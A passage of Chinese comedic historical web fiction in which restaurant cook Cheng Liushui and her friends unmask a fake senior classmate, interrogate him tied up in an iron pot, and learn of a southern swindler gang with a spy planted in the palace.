赵玉雨秉承着自己从情场中翻来滚去差点给自己滚没的经验,经过缜密的周全的观察与分析,认定六水应该是对张东家有点意思的,要不然依着六水脾气上来的那个劲儿,早就拎着个铁锅把东家脑袋给砸了。只不过为何迟迟不肯接受这段感情,她属实也是没想明白的。 而马陶陶则一口断定,六水对那张东家就没什么心思,她素来都是个大大方方的直爽性子,要是真有心思怕是都不用张东家颠颠围在身边,就直接拿下了,哪里需要这许多事。这二人公说公有理婆说婆有理,最终只能立下一赌局,谁输了谁就对着断口子河大喊三声“我是笨蛋!” 程六水自然是不知桌上这些人的心思,她眨巴眨巴着眼睛,斜睨了眼张清寒,见他亦直勾勾地盯着自己,不禁撇了撇嘴道,“自然不止是恩情,东家不仅给了我容身之所,又待我极好,我是心下极为感念的,这怕不是天下最好的老板了,我得日日敬着重着。” 敬着重着?熟知内情的酒楼伙计们听了这话,眉毛都要飞天上去了,他们倒是没见着六水敬重张东家了,就见着可怜的东家被她天天哄着骗着,都哄成了个翘嘴摇尾巴人了。 而张清寒则嘴苦得跟个烂瓜瓤子般,凄凄惨惨戚戚的可怜样,他明知在这满桌子人面前,是听不到六水说出些情啊爱啊的话了,可她真的不说,他这心里偏生涌出了更加说不出的难过。不禁想来,是六水见桌上有外人才不说,还是本来就什么都没有,只余她说的敬重。 “哦?清寒这小子确实有几分实在,既然如此我也不横刀夺爱了,你且在这酒楼干着,要是有一日想走了,便拿着这佩环去京城永安楼寻我。”钱三才瞥了眼张清寒,心里瞬时乐开了花,张清寒这人水泼不进针扎不破,好似铁板一块,又是个无父无母的亲缘断绝,正愁拿捏无法,不曾想峰回路转这人栽进了情爱里,真是瞌睡来枕头啊。 他从腰带上解下了一玉佩,这玉佩水头极好翠绿翠绿的,只不过花纹乍一看就眼生,仔细瞧着才发觉雕的竟是口大锅。来福殷勤地接过了这大锅玉佩,小心翼翼地递给了程六水。 程六水自然是千恩万谢道,“小女子谢过钱大人了,大人快尝尝我新做的菜,能得您的品鉴当真是三生有幸啊。” 钱三才笑着终于动筷夹了一块鹅肉,原还沉浸在寻着张清寒软肋的谋算刹那间全没了,这鹅肉处理得极好,半点腥气都没有,入口软烂脱骨,肉香酱香一股脑地直充味蕾,没什么虚招子,实打实的好吃下饭抗饿。 等他再一抬头,好家伙桌上的筷子都到处乱飞啊,一个个都吃得跟三天没吃上饭似的,他哪里还能细细品尝,甭管是啥赶紧夹进碗里吧,别到时候都没的吃了。 锅包肉炸得外酥里嫩酸甜多汁,软炸鲜蘑一口一个鲜香酥脆,更别提炖大鹅里吸满汤汁的冻豆腐干豆角了,配上大米饭是真香啊,再来个开胃的皮蛋豆腐,爽滑软嫩一入口豆腐都化了,小米辣辣得人直喷火,越喷火越想吃,一口接着一口。 众人皆是吃着喝着,唯有张清寒敛起眼眸,在无人处窥探着,方才一口气都快喘不上来的钱三才吃起饭来倒是麻利,不像病了的样子。而那位江师兄想必留在这儿,也不是单纯为了吃饭的吧?他的一言一行是随意而为,还是句句有着落呢? 张清寒随意一瞥,便见程六水点了点头,心下了然道,“师兄,我这铁锅炖大鹅怎么样?是不是比在家时做得好?” “好吃好吃,甚是美味啊,我好几年没吃过这么好吃的了。”江远游这话说得真真切切,这顿饭吃的他恨不得撕破脸皮,直接将这丫头片子拐走算了,拐走旁人也就是卖了赚钱,可拐走程六水那就是天天有好吃的。 可惜这酒楼卧虎藏龙,连宫里的人都是其座上宾,可想而知这些人背后靠山多大,硬碰硬是定然不成的,拐走程六水也只能是想想罢了。 “江师兄,我刚刚听你说南越的生意很好做,除了丐帮可还有旁的商队?”马陶陶端着一杯来到江远游跟前道。 “自然是有的,但多是边陲的小商队,这来钱路子生了没多久,一来还没传到北方,二来鱼龙混杂得很,不少人还在观望中,可不破不立,这路子风险是有的,却也是个一本万利的事,又有朝廷的政令,到底出不了什么大乱子。”江远游瞳孔黝黑,说起话来竟令人平添生了许多信服。 马陶陶藏在心中那点隐秘心思被他一点点勾了出来,她想要做生意,她不想躺在哥哥的功劳簿上,而是走一条她自己的路,一条证明自己是块做生意的材料的路,富贵险中求的道理她自小就懂得。哥哥能北上北戎,在昔日两国交战水深火热之际,开辟一条商路,为何自己不可以?南越之现状,比之当日北戎,还要好上许多呢。 “那……”马陶陶正要开口,忽然就觉察有人在拽她衣角,那乔四方虎着一张脸,面上板着从未有过的严肃认真,眼神中是警示是阻拦。 他平日里瞧着呆,却是知道心上人的心思的,自小在野兽厮杀中活下来的人,总是对周遭一切存在着莫名的警觉,这是乔四方的生存之道,凡是不危及自身的,则不听不看不问,凡是有些危险的,一点风吹草动他都是知道的。 马陶陶不明就里地看了看乔四方,而江远游开口道,“姑娘若是想领略南越风光,顺便赚些银钱,可随我同行,你与六水是好友,作为六水的师兄,我定然是要护你周全的。如若不放心也无妨,待日后想好了,等我下次去南越再带上姑娘,只不过……” “不过什么?”马陶陶赶忙追问道。 “不过,做生意本就是瞬息万变的,如今赚的,等我下次再去怕是得一年半载后了,那时便不好说了,这点姑娘也得明白。”江远游温和道。 “我这次就想去!”马陶陶被这么一激,直接脱口而出。 “我不同意!”乔四方猛然站起来,一下子比马陶陶能高出一头半去。 “你吼什么吼!你凭什么不同意!”马陶陶倒是不惧,蹦高着质问乔四方,凶神恶煞得很。 “别吵别吵,伤了和气可就不好了,不如姑娘你再想想,我左右这一两日就得启程了。”江远游也站起身来,在一旁假模假式地劝架。 “不用想,我这次就随你去。!”马陶陶说罢,瞪着双凤眼赌气般看向乔四方,凭什么不让她去啊?越不让她去,她偏要去! 气得乔四方满脸铁青,胸脯一个劲儿地起伏,青筋都暴起了,那肱二头肌因为用力太过隆起得直吓人,脸红脖子粗的瞧着一口气没上来,就要背过气去。 他缓了片刻才勉强开口道,“你偏要去?” “对啊,我本就是要做生意的,你这次拦我下次拦我的,是何居心?”马陶陶是做不得那安于后宅的妇人,才离了京另寻天地的,要是因着一个男人便这也不让那也不敢的,不就越活越回去了吗? “居心?我能有什么居心?你要是打定主意一定要去的话……”乔四方说罢,无奈地闭上了眼睛。 “……你要怎么样?”马陶陶心里也有些拿不准了,不会是要分手吧?不会不会,乔四方从来都是自己要天上的月亮,他不敢给星星的,怎么会因为这点事和她分手呢? 虽是这般想着,心里也是犯了嘀咕,不禁哀叹一边是一本万利的生意,一边是亲亲情郎,手心手背都是肉啊,这可如何是好。 听了乔四方这话,在场诸人神态各异,最为活跃的当属那钱三才师徒四人,这四人本就是宫里来的,吃香极其斯文,方才大家都在那儿吃的时候,压根抢不过旁人。这下好了。一帮人去吵架了,一帮人去看热闹了,他们四个终于能快快乐乐地吃饭了,尤 其是那来福吃得都忘乎所以了,什么坐山观虎斗全扔脑后了,差点把脑子都丢了。 而程六水和赵玉雨俩人手拉着手,瞪大了眼睛围观这小情侣吵架现场,程六水本是想借着这顿饭,诱出此人的真实意图,没想到不仅把拐人的意图弄明白了,还化身了瓜田里的猹,只不过她私以为四方和陶陶是歪锅配个翘锅盖,是怎么也分不开的。 赵玉雨则思索良多,可惜丈二和尚摸不着头脑得很,只能环顾四周,很好杜少仲亦是眼睛都不眨了,筷子停在半空中还夹了块锅包肉。 第87章 铁锅炖自己 “那我就陪着你去。”乔四方静了许久,并没在乎周遭都看向他的眼神,认真开口道。 这份认真明晃晃砸进了马陶陶的心里,甭管方才她那百转千回左右为难的心思,现下全被这句话化解了,只余涓涓细流般暖意与感动。眼前这个男人笨拙痴傻得很,跟着她到处做生意也好,省得被人欺负了去。 “好,那我们一起去。”马陶陶羞怯道,眼波流转间尽是往日难见的情意。 “好好好,既是定下来了,莫不如你们今日就收拾行装吧,明日瞧着能是个好天气,正好上路。”江远游乐得都要找不到北了,拐一送一还有这等天大的好事呢,再把这俩人送去,正好是他拐卖生涯的第二百五十人,大吉大利啊。 “那个……”程六水小声举手,小脸怯生生道。 “怎的了师妹,莫不是你也想通了?愿意同我前去?”江远游上了头,愈发藏不住骨子里的阴险狡诈,怎奈这张人皮着实是那清俊少侠的长相,生生削了好几分阴险去。 “倒也不是,我只是想说,我咋觉得你是骗子呢?”程六水瞪着俩大眼睛,天真无辜道。 此言一出,乔四方立时将马陶陶护在身后,目光灼灼地看向此人,就差撸袖子揍人了。而马陶陶却有些懵了,她不明就里道,“六水,他不是你的师兄吗?” “他瞧着确是我的师兄,可我的师兄从来都是不通俗事,一门心思放在机关之术上的,如今这副熙熙攘攘皆为利来的模样,却是一点都不想了。”程六水光明正大说道。 “师妹,我毕竟颠沛流离了这许多年,早已不是那在师父师娘庇护下的稚子了,这些年我终究是明白了一分钱难倒英雄汉的道理。”江远游反应倒快,面不改色心不跳地辩解道。 在场诸人听着,倒也觉着这话不无道理,人的心性总是会改的,尤其是遭逢大变。 “哦?所以师兄从前对我严厉苛刻,也才变得如现在般温柔和善。”程六水笑盈盈地接着问道,在无人察觉之时,杜少仲与赵玉雨悄悄地离了席,朝着后院奔去。 “自然了,那时你我都是孩子心性,如今你这般懂事能干,我哪里需要对你严厉,你这小妮子莫不是还记恨着当年,这才说我是骗子来泄恨吧?要是这样,师兄我可真是要生气了。”江远游也是属猴子脸,上一瞬哄着骗着,下一瞬面色就电闪雷鸣得很。 “师兄不必生气,你看我做了这一桌子菜,不是正好向你赔罪吗?可惜啊,我以前从来不会做菜,不仅不会做,甚至连煮个米汤都能把厨房炸了,师兄你刚才夸奖我从前做饭就好吃的话,竟都是假的。”程六水依旧浅浅笑着,可这笑中的咄咄逼人心惊得很,如一潭看似平静的潭水,明明安宁得很,往跟前一看却不想深不见底。 “不是吧?我明明记得师妹厨艺不错的,啊那许是我记错了,这不过是细枝末节的小事,这些年大抵是混忘了,师妹这点子事,你也要斤斤计较吗?”江远游面色依旧不慌,可衣袖里的手指不停地摩挲着,长衫下的腿脚也止不住地打颤。 “不是我斤斤计较,而是师兄当年我不仅炸了你的厨房,顺便还炸了你耗时大半载研制的桃花珠珠炮,你追着我在后山跑了八个来回,差点没给我扔下去。性情大改,记忆全失,就连发誓终生投身于此的机关之道都不要了,怕从不是什么年岁长了世事变迁之过吧?”程六水此时才是真正的言辞犀利,如看着死人一样看着面前欺瞒她的“师兄”。 话音刚落,江远游拔腿就跑,楼上的包袱都不顾了,他这人也是精于算计的,早就坐在离大门口极近的位子上,两步就冲出了酒楼,结果就在这要命的节骨眼上,不知道是谁往酒楼门口摆了个老大的铁锅,足有一人高,那锅口大得能炖下十只八只大鹅了。 “咣当”一声,江远游那本就不怎么结实的脑门撞到了用料扎实硬度极好的铁锅上,瞬间两眼冒金星,腿跟面条似的站都站不住,顽强的求生意志竟在此刻迸发,他顶着流血开花的头,人皮面具也在此刻脱落了一半,下半边脸依旧是丰神俊秀,上半边脸就略显怪异了,竟是个纤细妖异的长相。 他勉强站起身子,血糊了眼睛也不管,朝着大路就要跑去,可惜人还是拧不过命运的,比如他身后乔四方的刀背一敲,这人终于是独木难支倒地不起了。 席间诸人七嘴八舌手忙脚乱地把这人抬了进去,就连那钱三才都吃饱喝足看热闹似的搭把手,可只有一人面色颇有不适,只能极力掩饰地低下了头。 待到这江远游渐渐醒转,他起先舒服得紧,仿佛在那咕嘟嘟冒泡的温泉里,暖洋洋像极了南越老家的那汪子泉眼,在很小很小的时候,那时他的爹娘俱在,他没事就跑去泉眼子里泡。只不过后来,他不得已自己讨生活了,就没那些闲暇之功了。 深深的笑容挂在他的脸上,紧闭着双眼不肯醒来,很多年没有这样的美梦了,他想留住这梦,哪怕多一瞬都好。 “你是怎么看出来他是骗子的?六水告诉你的?”马陶陶臊眉耷眼地问道,委屈巴巴偏又三分傲气。 “六水没告诉我,但我看这小子说话五句里三句都是套子,从他上桌说的话,就是生意做得大挣老钱了。那挣钱真挣得多的,恨不得藏着掖着不告诉别人,生怕别人抢占先机夺了生意,哪里还会这么好心热心地带一堆人去啊。”乔四方挠了挠头道。 “……”马陶陶正如当头一棒,对呀这么简单的道理,她怎么没想到呢,真是气得她恨不得撕了那骗子的嘴,“你怎么变得这么聪明了?”她撅着嘴嘟嘟囔囔道。 “我?我没有啊,我是见多了骗子,以前在洪泽会住我上铺那个就是行骗出身,话说得天花乱坠,偏偏总有人相信。只不过他碰上我不好使,我听不得那些绕来绕去的话,他一说多我就揍他,可好使了。”乔四方咧着嘴傻呵呵地乐着。 “你真好,知道他是骗子,还愿意陪我去。”马陶陶终是委屈地哭出了几滴泪来,眼巴巴地靠在乔四方的肩膀头上。 “嘿嘿,那我要是就不让你去,你肯定要打我的,莫不如我陪着你,反正那家伙下盘虚扶上肢羸弱,肯定打不过我,龙潭虎穴我都随张老大闯过,还能怕他个骗子不成。”乔四方被陶陶夸得屁颠屁颠的,一双眼目不转睛地看着陶陶。 “莫哭莫哭,都过去了这事,以后你要是真想做生意,我天南海北都随你去,我啊没什么大志向,就想守着你过日子。”乔四方瞧着陶陶那成串的泪珠慌了神,手忙脚乱地擦着。 那笨拙到可爱的模样不禁让马陶陶笑出了声,一会儿哭一会儿笑的,弄得乔四方都跟着笑了。 “我只是觉着自己傻,傻到被人蒙骗。”马陶陶笑过便又恹恹道。 “你不是傻,那骗子以行骗为生,这是人家吃饭的家伙事,可防着被人骗不是陶陶你吃饭的家伙事啊,以后咱就见到那上赶子给钱赚钱都小心谨慎,脚踏实地地干活做生意,那骗子就找不着机会了。”乔四方一个劲地安慰着马陶陶,好一会儿马陶陶才又笑了。 而这江远游泡“温泉”就泡得有点不大舒服了,怎么总有人在他耳边搞些情情爱爱的呢,真是烦人得很,不知道泡温泉少说话啊。 可听着听着就不是那么对劲了,什么骗子傻子的,骗子?自己不就是骗子吗?他脑中的记忆回来了,不好不好!他没能逃出这破酒楼,那他现在在哪儿啊? 江远游费劲巴力地挣扎着,终于是睁开了迷蒙的双眼,然后他就傻眼了,这是什么鬼地方,谁能告诉他为什么自己在口大锅里,梦里的温泉竟是这大铁锅里的热水吗?救命啊!!! “哟,师兄这是醒了?”熟悉的声音传进了江远游的耳中,他定睛一看,那程六水抱着只大肥鹅,悠哉悠哉地看着自己,时不时那大肥鹅还讨好似的“嘎嘎嘎”叫。 “你放我出去!”江远游的手脚皆是绑着的,在大铁锅里是怎么扑腾也扑腾不出来。 “嘎!”程六水未来得及说话,那 大肥鹅倒是先声夺人,豆大的鹅眼写满了让江远游闭嘴,还放他出去,放他出去了,这大铁锅可不就只能炖大鹅了吗? “哦乖乖,放心放心,今日肯定不炖你。”程六水摸了摸毛茸茸的鹅头安抚着,一边安抚一边打了几个嗝,一看就是方才铁锅炖大鹅吃撑了。 “你到底想怎么样?我可跟你说,要是我不见了,我的弟兄们能踏平你这破酒楼。”江远游勉强顶起气势来,恐吓道。 “行还是团伙作案,这个也记下来。”程六水努着嘴煞有介事道。 这是江远游才看到,坐在程六水身旁的张东家做起了文书工作,一笔一划地写着,那桌案上竟放着两个做工十分精巧的人皮面具。 两个?一个是江远游自己的,那另一个是谁的,难不成自己的弟兄也落入他们手里了?电光火石间,他脑子里浮现出了一个最合理的解释,天爷啊这怕不是个玩黑吃黑的黑店吧!还是个上面有人的黑店! 第88章 红枣桂圆 “你你你们这儿不会是个黑店吧?”江远游微微将自己身子缩了起来,眼神十分警惕地看向对面两人。 “黑店?”程六水挑眉微笑,转头颇带意味地朝着张清寒道,“我们可是本本分分的老实人啊,师兄莫要如此诬陷我们,这兔子急了也会咬人的。” 黑夜中忽地冷光一闪,这下子江远游向左一看,才发觉那七尺八的黑脸汉子正在那磨着一把西瓜弯刀,他是见过世面的,这刀刃之锋利是用血浸润了十成十的,他没见过用血养刀的兔子…… “好好好,你们不是黑店,我是黑店行了吧!你们到底想做什么呀?”江远游这下子着实是有些怕了,战战巍巍地问道。 “我们能想做什么?不过是要个说法罢了。”程六水故作轻巧道。 “什么说法?”江远游怕得很,只敢极小声道。 程六水仰着头,一个眼神给到正抱着哈巴狗毛毛的赵玉雨,那赵玉雨心领神会,快步来到大铁锅跟前,上来就是一个大巴掌拍在脑袋上,扇得江远游脑瓜子拨愣拨愣的,刚缓过神来就见一只浑身红呼呼的恶犬,呲个牙垂涎欲滴地看向自己。 江远游都懵了,这世间哪里有朱红毛发的狗,莫不是在血里打滚打出来的。就这么一走神,又来个大巴掌打到了大脑门上。 “和我们程姑奶奶说话还敢走神,还敢回话跟个蚊子一样,是得好好给你醒醒脑子了。”赵玉雨悠悠闲闲地挪回了脚步,十分自然地站在那人皮面具旁。 这时,江远游才发觉另一个不属于自己的人皮面具,星星点点俱是鲜红……“我说我说,程姑奶奶你就饶了我一命吧,我求您了别杀我!” 而赵玉雨则默默地与杜少仲相视一笑,果然这招狐假虎威奏效了,可爱的小毛毛不过是白日里在红花水里滚了好几圈,不小心还溅到了午间捡到的人皮面具上,真是不错。 “杀你?我怎么会杀你呢?你不是我最亲爱的师兄吗?说说吧,跑来我这儿不止是骗吃骗喝吧?”程六水冷哼了两声道。 “小的真是误打误撞,本是途径此地进了酒楼,想着能骗一个是一个,你上来就又哭又笑叫我师兄,我一看这感情好啊得来全不费工夫,哪里想到这竟是你们的计。”江远游现下想来不仅也是悔得肠子都青了,他就不该看着眼前这位程姑奶奶像是个好哄骗的,才轻易留在这酒楼惹了祸事。 这细细想来,他这骗子身份怕是在一进酒楼就漏了马脚,掉进了人家的局中局中局,自己还在那儿傻呵呵地吃饭呢。 “本姑奶奶纵横江湖这些年,早就一双火眼金睛了,你眼睛一睁一闭,我就知道你小子在打什么算盘,还想骗我?你能把我骗去哪儿去?”程六水故作大姐大般道,其实她心里虚得很,什么火眼金睛,还不是这小子瞎编过头了,要不然她真以为这人是自己师兄呢,可给她激动坏了。 “是是是,姑奶奶说的是,您就大人不计小人过,放过小的吧。小的给您当牛做马都行,听凭您使唤。”江远游听了这话,赶紧连连求饶,这铁锅里的水不一会儿就热乎了不老少,太吓人了,别真被炖了。 “你这人长的倒还算是那么回事,可我要你个骗子做什么?说不定身上还有案底,不干不净沾染上了,心烦得很。”程六水仔细打量了江远游几眼,白白净净精巧得很,不似大师兄那般清俊,却也是有些特色的。 “咳咳咳!”张清寒虽是做那文书,记着这俩人你来我往十分无用的废话,却也眼观六路耳听八方,斜眼一瞧便知六水起了坏心思,见这人面容清秀怕得要命,故意在那儿一来二去地耍人开心。 程六水听了张清寒这假模假式的咳嗽,这才收敛起心思,不再捉弄人道,“老实交代,你从哪来到哪去,姓甚名谁,团伙名头头目皆是何人?” 随后仰靠在柳木摇椅上,撇了撇嘴心想着,她这是战略战术,锅下的火热热地烧,烧地这人心肺燥热,方才能说实话哼!这张清寒心眼子忒小,就喜欢计较这些,见不得她与清秀男子说话,关他什么事呀! “这这这……”江远游被问到真章了,反而不敢说话了,可他又怕再挨个大巴掌,只能大声结巴,在这刀光火影熊熊烈火的黑夜里,尤为刺耳。 “哟,方才说的那些看来是做不得数了,既如此这黑灯瞎火风霜露重的,我又何须在这里与你说这许多废话,来人这火还不够旺,卸下我师兄的一支手臂来添添。”程六水依旧笑得满面春风,翻着张清寒记的那几页纸,漫不经心地瞧着。 话音刚落,凶神恶煞的乔四方顷刻就上了前,昏暗油灯下,他哪里是七尺八,怕得像是一丈高了,那把挂着铁环的西瓜大弯刀近在江远游咫尺之间,他才看清那坑坑洼洼的痕迹,腥气厚重的铁锈味,煞神黝黑的脸上眸子却亮得吓人,这哪里是人啊,这是嗜血人魔! 吓得江远游屁滚尿流的,眼见那大刀高高抬起,正对着自己的右臂而来,求生的本能迫使他声嘶力竭地呼喊道,“我说我说!!!” 可惜说得还是晚了一瞬,那手臂的皮已然划破了,鲜血毫无章法地四散在水中,不幸中的万幸仅仅只是破了个皮,这都仰仗于乔四方那精准修炼,不曾有一日懈怠的刀法。 “要说就快点,老娘我可没空陪你在这儿瞎扯。”程六水打了个哈欠,眼瞅着天色渐晚到了宵禁的时辰了,她白日里打了一天的工,忙得脚打后脑勺儿,夜里还得在这当临时群演,真是累得慌。 江远游看那只在自己手臂一寸之上的见血弯刀,头一扭心一横,脱口而出道,“我叫陈阿宝,专门在中原地带拐骗人的,骗的人都送回南越,那里一个人头能抵五金。” “送回南越?你是南越人?”程六水瞬间抓住了重点,随后指着桌上的人皮面具问道,“那这人皮面具又是怎么回事?也是你们在南越做的?” “对都是南越做的,我是在南越苦兹帮混的,在外行骗断不可用真面目示人,帮中长老便研制了 这人皮面具,教中凡是出外行骗的都会得一张面具。“江远游老老实实道。 “沈怜柔你认识吗?”张清寒这才开口道,他终于忆起了那个把他师父骗得倾家荡产肝肠寸断的骗子,这个骗子也是南越的,这张人皮面具也是她给师父的。 不出众人所料,江远游点点头道,“她是帮中二长老的亲传弟子,被她所骗之人都能占满一山头了。” 程六水这下子全连起来,一个两个都是骗子,那南越苦兹帮就是个骗子帮,还都骗到酒楼头上了,果然是树大招风,连骗子都扎堆。 这下子酒楼几人演也不演了,聚在一起绕圈嘀嘀咕咕起来,个个愤慨不已眉飞色舞的,恨不得要现在就支起大旗去讨伐那南越苦兹帮,七嘴八舌说着没完没了, “叭叭叭!” “嘎嘎嘎!” “呱呱呱!” “汪汪汪!” “那个……那个……我还在这炖着呢……”江远游那破了皮的手臂散开了血,已然是有气无力,身下咕嘟嘟热乎乎的水就是一张最佳催命符,催着用尽最后一丝力气高呼道。 “哎呀妈呀,忘了锅里还炖着假师兄呢!”程六水这才一拍脑门,几个大男人手脚并用地给已经晕了的假师兄陈阿宝薅了出来,赵玉雨又给他包扎了下流血的胳膊。 “无妨,就是失血过多,吃点大枣桂圆红糖就行。”张清寒把着脉道,而那陈阿宝在昏睡中已然换了身干净衣衫,躺在柴房的小床上甚是妥帖,这柴房离面包窑不远,窑里正烤着明早的面包呢,自然为这柴房添了些春夜难得的热乎气。 “哦管够。”程六水不知道从哪拿出来一大筐红枣桂圆,一边拿还一边吃两口。酒楼的人也都没客气,一个个全在那筐里掏啊,跟群土拨鼠一样。 “行了,别掏了,等他醒了补一补,就送去官府吧,这是个团伙作案又牵扯到南越,到时我再上封密折,定要好好彻查此事。”张清寒颇为担忧道,千里之堤溃于蚁穴,这南越的骗子就是那数不尽藏于尘埃中的蚂蚁,切莫真毁了大乾的政通人和安居乐业。 然后他也顺手从筐里抓了把红枣桂圆,这红枣真好吃啊,一看就是西北过来的,哎呀桂圆拨开也好吃,跟蜜一样甜,吃完还在那儿找擦手的手绢。 忽然寂静的夜空中传来了几声清脆的鸟声,吃得正在咧嘴傻笑的乔四方瞬间站了起来,而张清寒抬起眼眸,狠狠咬上最后一口红枣道,“四方,你在这儿守着大家,我出去看看。” 那夜空中乌背白腹的鸟儿去忽闪忽闪挥舞着翅膀,以极快的速度从天边翱翔而来,见了张清寒这才甩了甩鸟腿,丢了个纸筒子下来。 第89章 百花香香粉 长长的纸筒子短短的纸条,刹那间张清寒面色惊变,大步流星般走向了柴房,拉着众人就往外跑,独留一个头缠布带苍白至极的男子躺在其中,周身再无长物,唯有一筐红枣桂圆。 飒飒寒风四起吹着酒楼门口的大红灯笼摇摆不定,差点便要被掀下来,更别提那其中的烛光早就灭了,往日里热闹非凡大堂乌漆麻黑冷冷清清,不见半点声响。 可那后院里仿佛是来了什么人,这人轻功极佳,脚踏实地却如云端缥缈轻盈,三五步间便落在院中,吱吱呀呀地推开了一个略有些磕角的木门,这屋里倒是不冷暖和得紧。 他转身轻轻关上门去,却不敢动了,只是静静地望着不远处静静躺着的苍白男子,如天地间被人随意丢弃的弃子,无人在意这男子的死活。 这人哽咽了几瞬才快步走到男子榻前道,试了试鼻息这才放下心来,还好还好呼吸和缓,脉搏平稳只是轻了些,但也不碍事的。真是的,也不知是谁给陈阿宝缠得白布带,打眼一瞧还真以为他大限将至活不成了呢。 “阿宝阿宝!”急促却轻柔的声音在陈阿宝耳边响起,陈阿宝动了,最先动的是鼻子,好饿怎么有股甜滋滋的味道,不会自己真的被炖了吧?难不成自己炖完是甜的?自己平时也不吃糖啊。 一股大力硬生生掰开了他的眼睛,这下子打破了他拐到歪树岭子的遐想,陈阿宝眼前白花花的一片,好一会儿才缓了过来,就看到一张极为熟悉的面孔出现在自己面前,这不是白日里同桌吃饭的人吗?跟在那个宫里来的钱大人身边的,叫什么来着? “那个,小师傅你黑灯瞎火来寻我是作甚?莫不是想同我去赚钱,我跟你说你可是来着了,跟着我比跟着什么钱大人强,半年就能让你赚套大宅子。”陈阿宝这头还晕着,嘴皮子倒是利索,职业素养一上来了,那是怎么也刹不住车的,叽里呱啦就是骗啊。 来福脑瓜子都快被气冒烟了,抬起手来就想揍陈阿宝,可这陈阿宝头上缠着布条,胳膊也缠了好几处,瞧着实在没地方下手,只能恶狠狠地砸在红枣桂圆筐里,这一砸还真正好,给那桂圆剥了壳。 陈阿宝在水里折腾了一溜十三遭,早就饿得肚子咕噜叫,拿起桂圆就吃啊,吃得那叫一个没出息。 “就你饿成这熊样,还想带我赚钱呢?我信你才有鬼啊。”来福没好气地连眼皮都不愿抬地说道。 “大丈夫能屈能伸,先吃饱肚子再谈赚钱的事,小师傅莫急莫急。”陈阿宝微微一笑,又开始吃红枣了,一个接一个都不带停的。 “行了谁跟你小师傅,你睁大你的眼睛,看看我到底是谁?”来福举着烛火,凑得近了些,耐着性子说道。 陈阿宝东看看西看看,皱着眉瞪着眼,就差贴来福脸上去了,这人咋瞅着有点眼熟呢,一双吊梢眼生得细长,那鼻子也高,瞧着油头粉面的,越瞅越烦人,像极了和他小时候一起泡池子的黎大福。可黎大福早八百年不在苦兹帮了,如今是生是死都不晓得,怎会出现在这中原之地呢? 来福一打眼就看出陈阿宝是认出了自己却又心存疑窦,不敢相认。这神态做派如此一目了然,怪不得白日里被那酒楼诸人堵了个正着,啥也没骗着竟差点折在这儿。 “别看了,我就是黎大福,这么多年了也不见你有长进,和小时候一个笨样子。”来福摇了摇头神伤道。 “大福真的是你吗?可不对啊,当年长老们说你掉进河里了,难不成是被中原人救了?还进了宫?”陈阿宝小心翼翼地揣测道。 “我是进了宫,可没掉进河里,那是长老们看我机灵,给我送进了大乾的皇宫里,让我潜伏做暗探。”来福正襟危坐,面色颇为神气道。 “做暗探?我们苦兹帮不是以行骗闻名于世吗?你这家伙厉害,都能骗中原的皇帝小儿了?”陈阿宝连连震惊得不行,就差给来福竖大拇指了。 “谁说我们苦兹帮只会骗人了?我们是南越正儿八经的帮派,能在南越百年屹立不倒,自然有我们的本事。”来福给了陈阿宝一个大大的白眼道。 陈阿宝撇了撇嘴,略微虚弱地但大声道,“你这人,这么多年都不改这驴脾气,太烦人了。” “我是驴脾气,你就是猪脑子,我实话同你说了吧,那帮主长老们都是与南越王室密切往来的,多少南越王室的暗探都是长老们培养的,就为了四处探听消息,以保南越兴盛。”来福对这个发小是打不得骂不得,只得耐着性子说来。 “有这么厉害?那你就是大王的暗探呗?”陈阿宝这才反应过来,又好好仔仔细细打量起来福,一个鼻子俩眼睛,也没比自己多哪啊。 这一打量不要紧,柴房之内也终于是被陈阿宝瞧见了,他那死去的记忆瞬间闪现在脑袋里,给他吓得差点直接蹦起来,拉着来福就要往外跑,“快走快走!这里可是黑店啊,你我可不能在这儿久留。” “黑店?啥黑店啊?人家这是正正经经的酒楼,他们那是骗你的。”来福赶忙拽着自己这傻兄弟道,“他们那都是吓唬你的,我虽不喜欢这位酒楼张东家,也不得不说他还算是个好人。” “不是那位张东家,是他身后那个厨子,就嚷嚷是我师妹的那个,太吓人了杀人不眨眼,就连你说的那个张东家都听她的话,她说一张东家不敢说二的。”陈阿宝惴惴不安道,那眼睛都快飞到屋外了,立时就要逃。 “这女子我倒是不识得,待来日我归京探查一番便知了,你也别急如今你身子弱,再休息一刻也无妨。酒楼的人将你这柴房的房门锁住就去睡了,你躺到后半夜走也来得及。”来福安慰道。 “大福还得是你啊,要不兄弟我怕是回不了南越了。”陈阿宝一知是来福开的锁,顿时老泪纵横,异国他乡遇兄弟,兄弟舍命来相救,这份情意他陈阿宝永志不忘。 “南越,那你回去替我多看看,我……很久没回去了,也不知是不是一切都好。”来 福不禁别过脸来,仰着头道。 “好,你等我下次换张人皮面具来,我去京城找你,到时候你可得带我在中原的京城吃香的喝辣的。”陈阿宝拍了拍兄弟的肩膀道,两人相对久久未言,却尽在不言中。 屋外风声刮得狠厉,这柴房只有一个窗子,窗缝封得不太牢,止不住地往里灌风,空气中不止有红枣桂圆的甜香,更有些春日里花香,如今算下来也是到了百花争艳的时候了。 “……大福,我是得再躺会了,我弱得有点晕。”陈阿宝扶着额间的白布条,摇摇晃晃地就要栽倒在床上。 “猪脑子,你不是弱的,你是……”来福一闻见这花香就觉着不对劲了,他在宫中待久了最是熟悉香料,这香不是寻常百花的香气,甚是蹊跷古怪。可惜这香太厉害,他连一句话都说不完,也“啪叽”一下倒在了红枣桂圆筐里。 屋外身着黑衣黑袍的一人,瞧着屋内的人没了动静,这才放下心来转过头道,“幸亏来这儿瞅了眼,要不然哪能知道这俩人还有这么好些勾当。” “你能不能大大方方站着,怎么穿个夜行衣就站得跟个猴儿似的。”赵玉雨左手一个盒子,右手一个盒子,蒙着面皱着眉吐槽道。 “哎呀,我这不是猴儿,我这是第一次穿夜行衣不习惯,穿多了就好了。”杜少仲拍了拍手里的香露丸升级版——百花香香粉道。 “快走吧,我看这后院是没啥醒着的人了。”赵玉雨抬头四处望了望,我滴个天爷啊,偌大的后院里横七竖八躺着地都是人,一个个也都穿着夜行衣蒙着面,手里拿着各色家伙事。 “真谢谢今晚这大风啊,要不然哪能这么容易,百花香香粉一吹全倒了,都用不上这这这,这叫啥来着?”杜少仲指着赵玉雨右手的盒子问道。 “叫大力摔炮,六水说是她新研制的,本来就是摔在地上听个响,她临时加了些炸药,就成了摔在地上能炸得地上开花,我们拿着,万一香香粉药不倒洪泽会的人,就用这大力摔炮,摔死他们吓死他们。”赵玉雨仔细回忆道。 “六水要是不做厨子,当个制毒的,做炸药的都行,咋的都是一把好手。”杜少仲十分用力地点了点头道。 